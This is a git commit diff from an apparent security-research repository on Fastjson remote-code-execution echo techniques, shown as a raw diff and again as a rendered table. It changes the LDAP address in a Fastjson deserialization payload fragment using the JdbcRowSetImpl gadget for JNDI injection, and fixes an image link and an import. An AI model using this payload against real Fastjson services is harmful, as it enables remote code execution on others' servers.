Fastjson

SummerSec · SummerSec · commit ac1d9399ef4c · 2021-07-15T11:14:34.000+08:00
diff --git a/Rce_Echo/TomcatEcho/Fastjson回显.md b/Rce_Echo/TomcatEcho/Fastjson回显.md
@@ -96,7 +96,7 @@
     },
     "b":{
         "@type":"com.sun.rowset.JdbcRowSetImpl",
-        "dataSourceName":"ldap://127.0.0.1:1389/Cat",
+        "dataSourceName":"ldap://192.168.116.1:1389/Cat",
         "autoCommit":"true"
     }
 }
@@ -106,7 +106,7 @@
 
 4. 直接回显
 
-![image-20210622174122630](D:/Blog/paper/pic/fastjson/1)
+![image-20210622174122630](D:/Blog/paper/pic/fastjson/11.png)
 
 
 
diff --git a/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java b/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java
@@ -8,7 +8,6 @@
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.bind.annotation.ResponseBody;
 
-import javax.servlet.http.HttpServletRequest;
 import java.net.URLDecoder;
 
 /**
diff --git a/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_2_30.xml b/vuldemo/.idea/libraries/Maven__com_alibaba_fastjson_1_2_30.xml

Original file line number	Diff line number	Diff line change
`@@ -96,7 +96,7 @@`
`96`	`96`	`},`
`97`	`97`	`"b":{`
`98`	`98`	`"@type":"com.sun.rowset.JdbcRowSetImpl",`
`99`		`- "dataSourceName":"ldap://127.0.0.1:1389/Cat",`
	`99`	`+ "dataSourceName":"ldap://192.168.116.1:1389/Cat",`
`100`	`100`	`"autoCommit":"true"`
`101`	`101`	`}`
`102`	`102`	`}`
`@@ -106,7 +106,7 @@`
`106`	`106`
`107`	`107`	`4. 直接回显`
`108`	`108`
`109`		`-![image-20210622174122630](D:/Blog/paper/pic/fastjson/1)`
	`109`	`+![image-20210622174122630](D:/Blog/paper/pic/fastjson/11.png)`
`110`	`110`
`111`	`111`
`112`	`112`